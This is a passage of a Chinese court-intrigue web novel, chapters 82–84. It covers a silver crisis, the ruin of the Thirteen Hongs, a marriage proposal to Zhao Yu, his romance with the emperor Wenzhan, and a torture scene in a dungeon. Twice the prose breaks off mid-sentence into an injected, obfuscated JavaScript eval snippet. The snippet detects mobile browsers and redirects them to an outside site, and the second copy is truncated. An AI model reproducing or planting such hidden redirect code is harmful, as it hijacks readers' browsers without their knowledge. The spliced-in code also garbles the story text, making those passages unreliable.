“咱们全境银矿太薄了,现在的白银有十之五六是依靠市舶司用丝绸同海外商人换取的,这已经相当于将自己的命脉一半倚赖外洋,再开银禁,等于把自己的另外一半命脉也一并交出。万一有个风吹草动,比如从外洋流入的白银减少甚至枯竭,大郑就有货币崩溃,江山分崩离析的危局。” “还有,说句诛心的话。如果不开银禁,陛下想要敛财,可以用发宝钞敛尽天下之财!如果开了银禁,陛下想要敛财,只能跟大户抢白银了。” “文湛,究竟是谁提议开银禁?没事儿,我现在身体不好,等我病好了,只凭梁尚书敢冒天下之大不韪提议开银禁这一件事,我去刨他祖坟去!” 文湛,“楚蔷生。” “……” “……” “呃,……” “……那个,……” 良久,赵毓才说,“这个,……,楚楚,……,呃,楚相执掌内阁多年,应该有他的理由。” 文湛咯咯笑了一声,却冷飕飕的,“是人都偏心,但是偏心如承怡,却世所罕见。”说完,他翻身起来,扯过赵毓的领子,“我看看,你这个心到底偏到哪里去了?” 赵毓领口敞开,一直到左胸,——心脏的地方,有一道疤。 皇帝知道那道伤疤的由来,永远不会忘记。 …… ——“告诉我,那个为了我敢冒天下之大不韪,逼父皇退位的那个承怡,还在不在?说!还在不在?” …… 文湛忽然拥住他,轻轻亲着他,从腮边,脖颈,一直向下,到了心口。 赵毓轻轻推了推他,“呃,我还病着,这青天白日的,你发什么疯?” 文湛的手指轻轻抚摸着那里,指腹下是依旧有些狰狞的触感,酥酥麻麻的,“这道疤好不了吗?” 赵毓轻轻说,“把你刻在这里,不用好了。” 再次密合上来的亲吻,贴着嘴唇,带着茶水的微微苦涩和清芳。 赵毓把他轻轻推开,“昨晚我折腾了你半夜,今天又有这么多糟心事,你睡一会儿,别闹了。” 他还是躺在他的怀中。 “承怡。” “无论是否开银禁,想要敛财,都不能再用宝钞。信用破灭就是破灭了,百姓不认,即使朝廷承认它是法定货币,也无力回天。” “问题不在这里。” 而是,…… “既然银荒是大郑的天命,那么无论多少的白银也不够,再多永远不够。 白银自己有价值,它就是自己的神。 我们无法驾驭它。 那么,我们必须找到一种可以驾驭的东西做货币。 这样我们就可以将大郑当做神明一样印在它上面。” “不然,白银之祸永不停息。” 赵毓看着自己怀中的文湛,贞静安宁,他忽然明白: ——对于皇帝来说,世上的事情没有对与错,就好像他眼前的路,没有正与反,没有东与西,也没有南与北。 他走的哪条路都是对的,所以选择哪条路都无所谓。 83. 83 83 黄枞菖进寝殿的时候,天刚擦黑,殿内却也没有光。他听见皇帝的声音,“承怡,醒醒。白天睡太多,晚上又难入睡了。”随后,皇帝吩咐,“点灯。”黄枞菖连忙把琉璃宫灯一盏一盏点亮。 赵毓身上裹着被子,包的像条蚕。 他抬手揉着眼睛,——他自己怎么睡着,刚开始,不是文湛睡了吗? 文湛侧身在一旁,手臂一直抱着他。 “我小的时候,娘也是这样抱着我的。”赵毓又揉了揉眼睛,“那个时候,她还拿着自己做的风筝,就放在我头顶。” 承怡是一出生就被娇宠的人。文湛却没有被这样善待过,直到承怡被先帝带到东宫读书,认识了他,文湛才知道人和人之间是有温情的。承怡很神奇,他会把旁人对他的娇宠完全学会,然后再返还给周围的人。那个时候他也很小,文湛遇刺劫后余生,他就会喂他吃药,喂他吃饭,还抱着他出去晃动,看着暮夏依旧盛开,却将要落幕的繁花。 赵毓,“后来,先帝说要我去东宫和你一起读书,我一直以为他想要省钱,不想再给我请个先生。因为,东宫的书都是都很无聊,……” “很无聊,很无聊,很无聊。其实,无聊倒是不怕,还有很多书,里面写的都是血淋淋的,看着晚上睡不好觉。后来,楚蔷生做了我的侍读学士,他告诉我,那些都是屠龙术。……,我不应该看的。” “文湛,你说,他为什么要这么做?” “不知道。”文湛很直接,“父皇想什么,我从来都不知道。” 如果先帝只是想要承怡做一个闲散亲王,为什么让他在东宫读书? 承怡说的对,先帝一直在养蛊。几个儿子对于他来说都是蛊,放在同一个密不透风的罐子里面,没有逃出生天的道没有退路,一路厮杀,生死不论! 至于承怡。 既然先帝一直知道他不是亲生血脉,为什么还要让他也承受这些? 黄枞菖捧着一个托盘,里面是一封白色的请柬,“陛下,王爷,这是崔侯送进宫的。” “老崔?白色的请柬?有人死了吗?”赵毓没起身,文湛帮他拿过来,打开,请柬下面印着十三行的印鉴。“呃,……” 赵毓一下坐起身,拿着这份直白简单的请柬仔细翻看,“十三行明天摘招牌,挖出深埋地下的存银,请各路债主到场,清账。”其实他们是清不了账的,最后挖出来的银子只是做个了断而已。 赵毓低声说了一句,“这是要逼死活人啊。” 文湛,“怎么回事?” 赵毓,“一条大河波浪宽。它的主航道上分叉着一些小河,小溪水,还有小沟。俗话都说,大河有水,小河满。可是如果这条大河瞬间干涸,这些小河小溪还有小沟还能有水吗?还不得成为烂泥潭。 这条大河中有北冥鱼,五洋鳖,巨浪滔天时可翻江倒海。可是,一旦大河干涸,这些北冥鱼五洋鳖在小河沟中能活吗?还不得瞬间成为臭鱼干,烤鳖肉?” “十三行撤招牌,就是想要保全自己而抽走大河之水,或者说,它本来就是大河之水。过不了多久,雍京城内所有的河道都会干涸,鱼虾尽绝。” 赵毓想到周熙,——如果周熙在,他就算命不要,也绝对不会允许这样的事情发生。他说过,“我们十三行,人可以死,祖宗留下的几百年招牌不能蒙尘!这就是我们生意做到今天唯一的不传之秘。” 翌日。 雍京十三行会馆。 本城所有钱庄、票号还有各路债主齐聚,每个人脸上没有任何表情,如果有,那就只能用一个词——如丧考妣。 高墙外面有人举着白幡、抬着棺材到门外,却被阻拦。孤儿寡母的哭声震天,纸钱挥了一地。 十三行拒兑银票,逼死的都是一些小老百姓。 赵格非站在赵毓身边,看着高墙内的这些人宛如坟地里面挖出来的尸体,脸色发青,却一丝不苟的执行着仪式。 ——拜城隍,拜关二爷,杀鸡,鸡血入黄酒,泼洒一地。 随后,几个强壮的小厮在正堂中拿着铁锹开始起地砖。挖地一丈,只起出八口大缸。众人艰难的把这几口大缸抬出来,用铁锤砸碎,里面是白花花的太仓细流丝银锭。这些都是十三行浙江的熔炉铸造,像一窝丝,与雍京使用的元宝形状的银锭截然不同。十三行最后的家底,赵毓估算了一下,不到三万两。眼前这个情景,真是连塞牙缝都不够。不说外面的那些小户,就是能进到十三行的这些人都不够分。 此时,四人架着木梯子上房梁,将十三行的招牌摘下,平铺在正堂前面的空地上。这是一块百年的木匾,漆都掉落了,只有三个字,还瘦骨峥嵘的挺着,——十三行。 一人穿着皂色短衣的人,手中拿火把,点燃了这块木匾。十三行,十代人的信用付之一炬,永嘉数百年繁华,归于荒芜。 赵毓看着这些,心中忽然有一种错觉,似乎这是周熙的葬礼。不,不是,周熙的葬礼不会如此的血腥。这些豪门巨商,进取的时候敲骨吸髓,如今为了自保,不惜尸横遍地。赵毓最后分了八千两银子,算是顶了之前的数十万两白银的账。 赵格非忽然低声问他,“亲爹,十三行这样,算不算壮士断腕。” “不。”赵毓,“这是挥刀自宫。” 西北道的人也在,他们派几个伙计套了马车将这八千里白银抬回敦煌会馆。老大萧呈隔着烧木匾的烟雾看着赵毓,他的身后就是老八昌渡,虽然一脸的棺材板的样子,却在眼中透着野蛮与贪婪。 萧呈还算客气,“赵毓,回一趟敦煌会馆。” “好。”赵毓点头,该来的,终究要来,“我明天一早就过去。” 雍京西城赌场关于银价的赌盘因为冲撞财神的寿辰而封冻七天,后天一早,正式开市。他的家底,薛宣平的家底,还有西北道这些年的积蓄都押了进去,是生是死,到时候就能见分晓了。 赵毓先带着赵格非回家,“家里来了一个小姑娘,以后你们两个一起玩就有伴儿了。” 不料,院门敞开,家中有客。 那人身上是深褐色的长衫,双手背在身后,正在看赵毓园中的蔷薇。 “梅太傅?” 梅恒臣对着赵毓微微一拱手,“经年未见,一向可好?” 赵毓记得他儿子梅慎言过来的时候,曾经说过,他父亲在家依旧称呼他为“殿下”,只是目前在一个敞开的院子中,需要谨慎言行,这一点上,应该没有人比眼前这位三朝帝师更好。 虽然很是意外这位梅太傅亲近登门,不过人家好歹是自己的启蒙老师,并且还讲过一整套《论语》,赵毓连忙执弟子礼,“二十年未见,梅太傅风采依旧。” 梅恒臣白色的头发与白色的眉毛,也许因为他多年在自己的庄园中隐居读书,竟然活生生有了一种仙风道骨的飘渺。 此时,花厅中走过来一个年轻人,颀长挺拔的身姿,面孔很清秀,就是三分俊朗,七分漠然。 梅恒臣则向赵毓说,“这是小儿的长子,梅怀瑾。” ——呃,难道此时就迫不及待的要相亲? 赵毓很是意外,他指了指自己身边的赵格非,“小女,格非。” “……” 院子中的人们别提有多尴尬了。 赵毓又说,“梅太傅,上次梅师兄回去可能没有同您讲明白,您说的那个事情,我已经拒绝了。” “他是没有讲明白。”梅恒臣则说,“所以这次我自己过来同您说清楚。” 赵毓想了想,“成。您老屋子里面请。这位大公子,您是在这里看看花,还是怎么着?” 梅恒臣,“小儿必须要在眼前。” 赵毓,“我闺女,您还要亲自聊聊吗?” 梅恒臣看着赵毓,“女公子不应该见外客。” 赵毓,“我们家没这么多讲究。” 梅恒臣,“那也不成。” 赵毓点头,“您老怎么说,我怎么做。” 三个人进了赵毓书房的客厅,赵大妈准备好茶水点心。 “殿下,小犬多年在白鹿洞书院授课,从未踏足京师,有很多事情不明白,也说不清楚。”梅恒臣开口,“我这次来,……” 赵毓一拦,“老太傅,您方才也看见我闺女了,就是个半大丫头。格非虽然一直在我老丈人家养着,但是尹家毕竟不是像您这样的清贵人家,这丫头从小半散养,没学很多规矩,真的不是大公子良配。 大公子这人我也见了,一表人才;年初放的榜我也知道,前途无量。您这样的家族,大公子这样的人才,想要什么姑娘没有?梅少夫人的事情,您再缓缓,没准就有新局面,也未可知?” 梅恒臣看着他,一张白净的面皮虽然苍老,依旧有风度,像是直接可以贴到至圣先师的木雕上。 “殿下,我就说您没明白。我长媳娘家的事情,那是我的事情,现在没有尘埃落定,以后一定会给您一个满意的交待。我现在只是想要将小儿与令千金的婚事订下来。” 赵毓还真理解不来,“您老这到底图什么啊?” 梅恒臣,“就图你,殿下。” 赵毓,“……” 梅恒臣,“我知道谢枯荣想要将自己的嫡次女许给您做继室。谢家本代人还没有考出来的后生,他们只能许出一个女儿,外加十里红妆的嫁妆。殿下,我不一样,梅家许出的是我这个孙儿。他是今年进士科第六名,已经是庶吉士,以梅家的背景,他将来的前途不仅仅止步于三品。这样的一个人,殿下认可否?” 赵毓,“……” ——合着,这位老太傅不是让我相女婿,这是让我相男人? “呃,……”赵毓,“老太傅,您都把我说糊涂了。我现在穷的快要当裤头了,还可能一夜之间身负巨债,几辈子都还不清爽。像我这样一个随时可能流落街头的废物,您老凭什么就舍得把大公子抵押给我做女婿,您不怕我把他卖了还债?” 闻言,原本像个清贵雕像的梅怀瑾看了赵毓一眼。 梅恒臣,“这个时候,我才好开口。这些年,殿下纵横西北的时候,我还真不敢。” 赵毓抓了抓头发,“老太傅,这种事儿,您问过大公子吗?” 梅恒臣,“放心,令千金在梅家不会被慢待。” 赵毓,“您老今年快九十了吧,……” 梅恒臣,“我今年七十一。” 赵毓,“……” 梅恒臣,“殿下一定是听太贵妃说的老朽的年纪。” 赵毓点点头。 梅恒臣,“当年老朽教导殿下读书的时候,不过才是知天命的年纪,只是老朽天生长的老迈,十六岁就花白了头发,以后自然越长越老。当年我才四十九岁,殿下一直以为老朽年过七十。您回后宫对太贵妃也是同样的言辞,所以,太贵妃一直以为老朽比如今年长二十多岁。” 赵毓,“……” 半晌,他点点头,算是认命,“行吧,就算您老年轻,可也七十了,也是古稀之年。您安静读书,悠哉度日,多好。怎么就跑出来掺和我的事儿?” 梅恒臣,“因为殿下,可以给梅家一个确定的未来。” “我自己还有今天没明日的,何德何能给您画这么一个大饼?”赵毓,“再说,从刚才到现在大公子一直沉默,我就没有听过他说一句话。太傅,您问过他的意愿吗?大公子是您梅家的孩子,我大郑以孝治天下,您说的话,他无论愿意不愿意都要听,这些我都明白。可是,您让他出妻,让他求娶我女儿,这些事情,您问过他的意思吗?他愿意吗?” “他姓梅。”梅恒臣,“他的一切都是梅氏给的,所以,对于他来说,家族的利益必须排在首位。” 赵毓借口吃完晌午饭还需要去到处去淘换银子,于是,就强行把老太傅送客了。 婚事自然也没定下来。 赵格非和罗小草正在后院跟着赵大妈种花,见赵毓送客了,这才过来,“亲爹,您说的,就是这家人?” “哎,……”赵毓,“这位大公子看上去其实挺好的,却碰到这么一个爷爷,不过话又说回来,他梅怀瑾要是不姓梅,绝对不是如今这么一个局面。” 赵格非,“那个年轻的后生长的不错。” 赵毓,“……长得?” 这些几辈子都是清流豪族的人,不都长这个样子吗?因为几代相互联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728941|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姻,日子过的也清贵,最后都是一个模样的,——斯文、清秀,看着也清爽,不会歪瓜裂枣。 赵格非,“不如六叔。” “……” 赵毓咳嗽一声,“其实,你六叔那个样子也不好。” 赵格非看着他。 “他长的太扎眼。”赵毓心安理得的说,“这放在民间就是一妖孽。” 赵格非,“……” 上午,赵大妈做的炸酱面,他们爷俩吃完,赵毓带着赵格非在雍京城溜达了溜达,还真存着心思看看是否能淘换一些银子,结果看到的是一片萧条景象。 白银稀缺,小户人家卖儿女,中户人家抵田产,甚至一些大户,想要淘换一些现银也需要低价抵押自己手中的好东西,翡翠珠宝都是小意思,土地田产才是大头儿。 赵格非问他,“亲爹,雍京城现在这种情景,我看着有些像西北肃州之西。” ——像。 那里也是银贵人贱,各家有儿有女却没有银子,想要卖儿鬻女都没人要。真到了没饭吃的时候,一只鹅能换俩孩子。 刚开始,徽商晋商这些钱庄票号,谁也没有想到十三行敢走这么一步,绝地一搏,断肢求生。 赵毓从心底由衷的来了一句,“永嘉章春秋是个人物。” 赵格非,“为什么?” 赵毓,“这个白银江湖与武者江湖不同,并不是胜利者生存,而是,活下来的才是胜者。从这种方面看,十三行就是胜利者,即使他身后尸山血海,一地狼藉。” “十三行的招牌毁了是毁了,他们只要装孙子忍过这几年,也许十年,不出十五年,江湖上这些对手就会像抽走大河之水剩下的虾兵蟹将,干瘪的干瘪,死的死,被卖菜场的卖菜场。 等他们十三行缓过来,重回江湖,那就犹如滔滔江山,直冲河道,一切残骸都掩盖在泥沙之下,头把交椅还是他们。” 赵格非,“这期间死去的人呢?” ——礼崩乐坏,瓦釜雷鸣,高岸为谷,深谷为陵。多少帝王将相都掩埋在故纸堆中,何况是普通人? 淤泥中的鱼虾,巨浪中的浮叶,高山崩塌之旁的蚂蚁,值得人们去在意吗? 半晌,赵毓才说,“太|祖皇帝的名讳是啥?” 赵格非,“宫涅。” 赵毓,“太宗呢?” 赵格非,“椋祚。” 赵毓,“誉宗?” 赵格非,“……” 赵毓,“神宗?” 赵格非,“……” 赵毓,“先帝世宗?” 赵格非,“鸾,……” 赵毓,“鸾宣。” 其实就是这两个字,很简单的字。帝王登基之后名字需要百姓避讳,宪宗之后,大郑历代帝王秉承自己的名字写的麻烦就好,不要再劳动百姓避讳了,就把自己的名字写的不太像人名。 先帝就是。 他登基之后就把自己的名字写成了火字旁一个鸾,上面加了淼字,随后三点水一个宣,然后这个宣的下面再写一个木。 今上也是。 文湛。 原本清清爽爽的两个字,也要左右前后上下加一些偏旁部首,以后写在青史,写在太庙上,不像一个曾经的活人。 赵毓,“你看,除了那些有大功业的皇帝们,即使是我朝列祖列宗的名讳,也不是人人、各个都能说出来,更何况是这些人。没事儿的时候学着圣人来几句心怀天下的煽情语句,真到了有事儿的时候,谁记得他们?刀不砍在自己身上不知道疼。” 他们绕着雍京转了一圈,赵毓见划拉不到银子,就带着赵格非回宫了。 黄枞菖在,赵毓同他打叶子牌。这是华夏瑰宝,赵毓脑子乱的时候就喜欢玩这个。黄秉笔原本也是个中好手,就是真玩起来,还耍不过赵毓。 谁输,谁的脸上贴宣纸条。 黄昏刚至,黄枞菖的脸上贴了几张长条,看上去好像白无常。 他正凄风苦雨,皇帝来了。 赵毓手中还拿着牌,嘴唇上就压下来一个亲吻。文湛的鼻梁高,很挺,亲的时候需要微微侧一下,赵毓圆睁着眼睛,就看着文湛的容颜——妖孽,果然是妖孽。 忽然身子一轻。 他连忙双手攀着文湛的肩膀,接下来就感觉腰身被弯折。 文湛抱着他,还能伸手从他身后的抱枕下摸出来装着雪莲软膏的红玛瑙小盒子,打开,一阵子清香飘逸了出来。 “这青天白日的,你这么猴急做什么?呃,……” 还有点疼。…… “晚上到床榻上再弄,还能敞快些,……,呃,……不对!” 赵毓忽然想起来黄枞菖还在,他费力的越过文湛的肩膀向外看,——众人早已经退出内殿。 哎,…… “你这几天睡的不好,让你发发汗,一会儿让黄枞菖伺候你好好泡泡澡,晚上能睡的踏实一些。” 文湛辛苦耕耘的时候,说话还挺利索。就是,……,额头上的青脉不那么狰狞就好了。不舒展也有不舒展的好处,拥抱更紧,也更亲密无间。赵毓抱着他,用力够到他的耳后,轻轻舔了一下,——皇帝额头上的青筋显得更狰狞了。 说是“发发汗”,真到偃旗息鼓的时候,已经发过四、五通汗了。 大木椅是正经的海南黄花梨,在吊罗山长了四百多年,砍下,运到雍京做成端正的太师椅,也有三、四百年了。上面铺着猩红色缂丝做的软垫,里面填充着软驼绒和丝。 赵毓全身都软了,面对面坐在文湛腰间,他伸手搂抱着他。他衣袍都在身上,敞开,肩头上布满了被亲吻啃噬出来青青淡淡的痕迹。 “今天,……,杀了几个人。开银禁的事,应该可以缓一缓了。” 赵毓不说话,低头,将面颊抵在文湛的肩窝上。 文湛的手指沿着他的脸颊一点一点轻抚着,微微的汗,滑腻细致的皮肤,就像是精心温养的珍珠。 “承怡,谢家的嫡次女是怎么回事?” “……” 好久,文湛以为他不会回答。 赵毓轻轻的说,“不知道。……,没兴趣知道。” 84. 84 84 薄雾冥冥让大正宫的清晨显出阴冷的柔和。 “醒了?”文湛的声音有些轻,他怀中抱着的人,睫毛微微动了一下,眯缝着半睁开眼睛。 “嗯。” 昨天折腾完时间还早,赵毓在温泉中泡了泡全身解乏,回寝殿一沾床就睡了,一夜好眠,直到现在,整整四个时辰。 文湛的手指把敷在赵毓脸颊上的头发拨开,轻轻别在他的耳后。 承怡的头发很多,却细软,貌似好收拾,其实异常桀骜不驯。他当年束冠的时候,这些头发总是不听话,固执的在冠冕外面飘荡着,像极了主人的性格,——外柔内刚。他的手指沿着他的面颊,一点一点轻抚着,好像抚摸着从深海中耗费人命采上来的珍珠,他是他的稀世之珍。 “承怡,你总说我枉担着后宫三千的虚名,其实,这是我的幸运。不用蹉跎岁月,就能遇到你。” 赵毓嘀咕了一句,“呃,……,没见过世面的家伙。” 文湛清淡的说,“你见过世面就好。” 承怡年少时是娇宠冠绝王朝的纨绔皇子。极爱繁华,好精舍,好美婢,好娈童,好鲜衣,好美食,好骏马,好华灯,好烟火,好梨园,好鼓吹,好古董,好花鸟。如今回首往昔,恍如隔世、浮生一梦。 闻言,赵毓微微抬头看着文湛,——很平静,似乎也没有什么不满。原先,他祈王府里面有美婢、有宠妾,还有他救风尘买下的风月名伶,他知道皇帝不会在意这些人。这些人在文湛眼中,同花鸟鱼虫没有什么区别。平时取个乐子没什么,但是,要是他过于在意,就会犯了大忌讳。不过,这没有什么好抱怨的,因为皇帝在这个事件上,其实很是“一视同仁”。那些自视甚高的王公勋贵和士大夫们,在帝王眼中,也是这样,同后宫被前朝唾弃又不得不小心巴结着的权阉、外面的贩夫走卒,上九流、下九流,没有任何区别。 “父皇想的还是不对。”文湛忽然说,“如果放你去封地,你一定过着荣华倚翠的日子,只留我一个在大正宫空守寒窑,这样不好。” “陛下什么时候看戏文了,也知道空守寒窑王宝钏吗?” 赵毓忽然笑了,声音凉凉柔柔的,像一把小银刀,碰到任何坚硬的东西都会弯折,却可以一刀直|插心脏。 “要是你想看,我带你去看看那些清贵人家弄的戏,香|艳着呢。要说,这些大人们真是人才,想要做官的去做官,如果仕途无望,捧名伶,捧名妓,玩的都比一般人要精道。” 文湛不说话,就看着他笑。 承怡长的好,笑起来格外好,这个时候笑,可以让人凝神静气,双眼一瞬不瞬的看着他,连眨眼错过一点儿都不舍得。 “对了。”赵毓忽然半起身,用手臂撑着半个身子,以双眼稍微高一些的姿势低头看着文湛,“我昨天见到梅太傅的孙子梅怀瑾了,那个孩子,……,看着其实相当不错的。” 皇帝自然知道梅怀瑾,新选的翰林,为人凝重,在微音殿伺候笔墨的时候,精准干练。 赵毓,“他是大家族的孝子,这种事情,其实他根本没的选。太傅让他出妻,顺就是不义,不顺,就是不孝。咱们这个礼教,非左即右,非黑即白,就没有一个中间的地带,让真正的活人,真正的人性稍微喘口气的地方?” 此时,文湛微微笑了一下,“有的,只是,……” 极其豪奢。 原先的承怡就可以到达此地。 出身皇族,又是皇子,只要不卷入夺嫡的乱局,他可以恣意妄为。他可以章台走马,扶风弄月,酒池肉林,只要不触动帝王的底线,他就是王公,礼教对他也是格外宽容,他可以凭借自己的性子,在雍京,在王朝,在天底下,活得像一个真正的“活人”。 皇帝就不会如此幸运。 文湛此生只想要承怡一人,只愿意与他生同衾死同穴。可惜,当年即使身为储君的他却也不得不在礼教的重压之下妥协。他必须有儿子,这是对天下,对支持他的朝臣,对已经挂在太庙上的列祖列宗一个交待。所幸,文湛的强悍让他只妥协到这里就足够。 至于其他人,想要对抗礼教,一没有这个命,二,也没有这个运,三,更没有这个本事。 既然如此,就不要妄想自己根本得不到的东西。 赵毓等着他说话,文湛只是清淡的笑了一下,“你怎么这么多的感慨?” 赵毓,“忽然想起来一些事,关于孝子的。我大郑以孝治天下,父母之命大于天,可是,……,呃,今上用人的喜好我不知道,但是我知道先帝是不喜欢孝子的。” 文湛微微抬头,为赵毓的头发顺了顺。 赵毓,“先帝说孝子一般都自私,都不用大敌当前,任何风吹草动足以使他们放弃原本就薄弱的天下为公的心,满心维护自己的家族而忘记其他。他还说,自古忠臣出逆子,……,他喜欢不受父祖约束拥有自己想法的重臣,当然,这种想法最好同他的想法吻合,不过,不吻合也没关系。” 因为,想法与先帝的想法不吻合,同时又拥有极强自我的重臣,早被先帝全杀了。 “今上用人的喜好嘛?……”文湛,“楚蔷生是孝子吗?” 赵毓也笑了,“呃,我忽然好像明白了,其实,承袭先帝最多的人,应该是您,陛下。” 文湛是先帝唯一属意的继承人,即使凤化末年的权力更迭血腥无比,最终,文湛依旧是先帝唯一的选择。为了文湛,为了给他留下一个还算稳定的朝局,先帝把自己曾经宠爱过的儿子们,贬的贬,杀的杀。 朝政果然只是帝王将相的逐鹿游戏。 可是,……,取得权力,尤其是取得绝对权力之后呢?除了维护它,不惜一切代价维护它之外,可不可以做一些别的事情?为了皇位而生的人,真不知道是天下至极的幸运,还是不幸。 赵毓忽然很想摸摸他的头发,已经伸出了手,…… “承怡,那位崔姓三等侯请你今天过侯府一趟。”文湛忽然说,“应该是尹徵的事。” “……” “尹徵有下落了。” “……” “还活着。” 加茉的手腕是楔入的铁钉,环绕着铁链,血糊住了镣铐,她半身沉浸在水缸当中,腰以下的皮肤已经溃烂。 ——究竟是哪里出了问题? 为了赵毓的内弟,一个已经致仕大臣的儿子,北镇府司和宁淮侯至于做到今天这一步吗? 哪里错了?…… 还有。 赵毓,……,他究竟是谁? 加茉的命用珍贵的草药吊着,她极度痛苦,却无法死去。她感觉自己所有的意志已经溃成隔壁上的黄沙,她耗尽了力气,却只能吐出轻微的几个字,“我,……,要见,……,宁淮侯,……” 叩叩叩。 地牢的青石板上有人走动的声音。 由上而下。 仆从连忙点亮了灯,上百盏马灯立时将不小的地牢照射的犹如白昼。 牢门外走进来一个男人,极其清艳的男人。此人身上是深色的袍服,袖口、衣襟上绣着江牙海水的彩纹,显得森冷而高贵。 加茉微微抬起脸,透过已经渗血的眼睛看着他,——怎么会是他?! “……,我,……,见过你,……,侯爷。” 崔珩微微笑着,“是吗?” “在……榭芝阁。”加茉用力抬了一下头,想让自己说话顺畅一些。她脖子上的重铐压住了她的声音,让她说的每一个字都犹如钝刀割破皮肉,“你和赵毓在一起。” 错了,真的错了。 大错已经铸成。 加茉他们原本以为赵毓即使可以在西北纵横无忌,可是他终究是没有功名的人,他的岳父纵然曾经功盖西疆十六国,现在也已经致仕。雍京权门林立,赵毓在这里也是寸步难行。 现在看来,他们错了!——宁淮侯,赵毓! 崔珩没有回应,不置可否。 大郑的权贵都是这幅德性吗?看上去斯文有礼,可是,那双眼毫无柔情善意,比万年不化的冻土还要冷。随侯世子是这样,这位宁淮侯,也是这样,赵毓,……,不,赵毓不是这样。他的眼睛是有温度的。 加茉,“我想见,……,赵毓。” 崔珩又笑了,犹如三月烟花满京城,“姑娘如果想要痛快去死,最好告诉我,那个人的下落。” “疯子!你是个疯子!”加茉忽然怒喊,她全身颤抖,困住全身的铁链也被她扯着发出哗啦这样轻微的声音。 为了尹徵的下落,宁淮侯崔珩像一条鬣狗,一条豺狼!他以大长老死在诏狱这件事为由头,彻底接管了北镇府司,随后,他从大长老中的毒枯叶蛇胆为线索,一直查到解药雪灵芝。期间,只要有一点点牵连的人,全部被他扯回诏狱,重刑拷掠。后来发展到,只要同西疆高昌遗族有一点一点关联的人,也要被他“问一问”。虽然尹徵依旧下落模糊,但是贵霜王子殿下、洪丁,还包括加茉、大长老多年在雍京经营的暗桩和产业被拔去了十之八|九。 崔珩似乎根本没有想要尹徵活着的意愿,他做的事情,似乎时刻在拷问洪丁他们: ——值得吗? 值得吗? 值得吗?! 为了隐匿尹徵,你们付出这样惨重的代价,值得吗? “宁淮侯,你不怕我们杀了尹徵泄愤?” 崔珩平静的说,“不怕。我只想知道他的下落,活要见人,死要见尸。你们要是杀了尹徵,终我一生让你们一个一个不得好死。最后,我给他偿命。” 疯子! 加茉以为自己会看到宁淮侯情绪波动,没想到,即使到现在,他依旧冷静如冰,无悲无喜。 “赵毓,……,我要见赵毓。” 闻言,崔珩第一次认真打量了一下加茉。他在判断是否值得做这件事情。 为了尹徵的下落,他疯狂到了冷静的地步,他知道自己一着不慎满盘皆输,他也知道对方极有可能鱼死网破,杀了尹徵,或者在尹徵身上下毒,或者再对他做出什么不可挽回的伤害,只是,他别无选择。 崔珩甚至不顾皇帝的禁令,将那个与加茉有关系、在雍京城开鸦片馆的沈臻也打废了。皇帝想要彻查他背后的人,因为沈臻那一口带着姑苏口音底色的雍京官话极其可疑,他的后面一定深渊密布。 他必须无所顾忌,因为他从一开始就看出了洪丁的目的,——以尹徵折磨赵毓。从尹徵在崔珩眼前被洪丁掳走的那一刻算起,他就根本没有活路,崔珩为他杀出一条血路,换取一点点微弱的逃出升天的生机。 “告诉我尹徵的下落。”崔珩拒绝。 “我身上有比尹徵更重要的秘密,……” 崔珩,“不想听。” 加茉,“侯爷,你抓的那些人,被你审废的那些人,有多少人身上的秘密可以换一座城池!为了赵毓的内弟,一个已经致仕大臣的儿子,你宁淮侯做到今天这一步,值得吗?” 崔珩冷冷的一笑,“告诉我尹徵的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔珩,“要我说,我直接进宫缴旨。那个小狼崽子生的儿子,他自己收拾。” 赵毓,“如果你得到的消息准确,太子应该是被陷害了。” “如果他被陷害,那还是他的错!”崔珩不以为然,“门户不紧,让人有机可乘,对于他那种人来说,就是死罪。” “后宫就这么一个储君。”赵毓摇头,“文湛就这么一个儿子。” 崔珩,“折了这个,不是还有雍王吗?” 赵毓极慢摇头,“越筝他,……,做不了储君。” 崔珩,“那就让那个狼崽子再生一个。” 闻言,赵毓起身就走。 崔珩一把扯住他,“怎么,你忍不了那狼崽子生儿子?” 赵毓,“我能忍,文湛忍不了。” 他扯开他的手指。 崔珩,“你做什么去?” 赵毓,“这件事,以后可以慢慢查,查透了,查到谁也跑不掉。但是眼前,最好谁也不知道。我先把尹徵弄出来再说。晚了,我怕事情有变。万一牵连到太子,真的要出大事。” 崔珩,“你准备自己去山林苑?” 赵毓点点头。 崔珩,“我跟你去。” “你?”赵毓摇头,“你别扯进来,这件事太麻烦了。那是储君,万一,……,新帝登基我可以去死,我不能再把你牵连上。你跟着我尽倒霉了。” 崔珩,“太子的亲娘欠我一条命。” 赵毓不解。 崔珩,“太子的亲娘不是桓侯姜家的丫头吗?怎么,忘了?就是那一年的深秋,雍京郊外下大雨,桓侯姜家的小侯爷在茶馆赶人,你不走,他抽了你一鞭子?后背一道血痕,上次你受伤我看了,这一鞭子到现在都没好。” 赵毓,“我记得。” 崔珩,“小狼崽子登基的时候才十九,桓侯觉得他太过年轻,而且后宫只有他们姜家的闺女生的唯一一个皇子灵均,他就想要罢黜皇帝,自己摄政。结果,……呵!” 崔珩冷笑。 当年的叛乱,还是他亲手平定的。 桓侯起兵不过十日,崔珩领军将桓侯斩于镐水西岸,连同他的嫡子,也就是抽了赵毓一鞭子的小侯爷一并埋骨镐水西岸。 谋逆大罪,首犯凌迟,当诛九族。 后来皇帝看在皇长子的情分上,姜氏男子斩首,女子流放,皇长子生母幽禁后宫,从者均不株连。 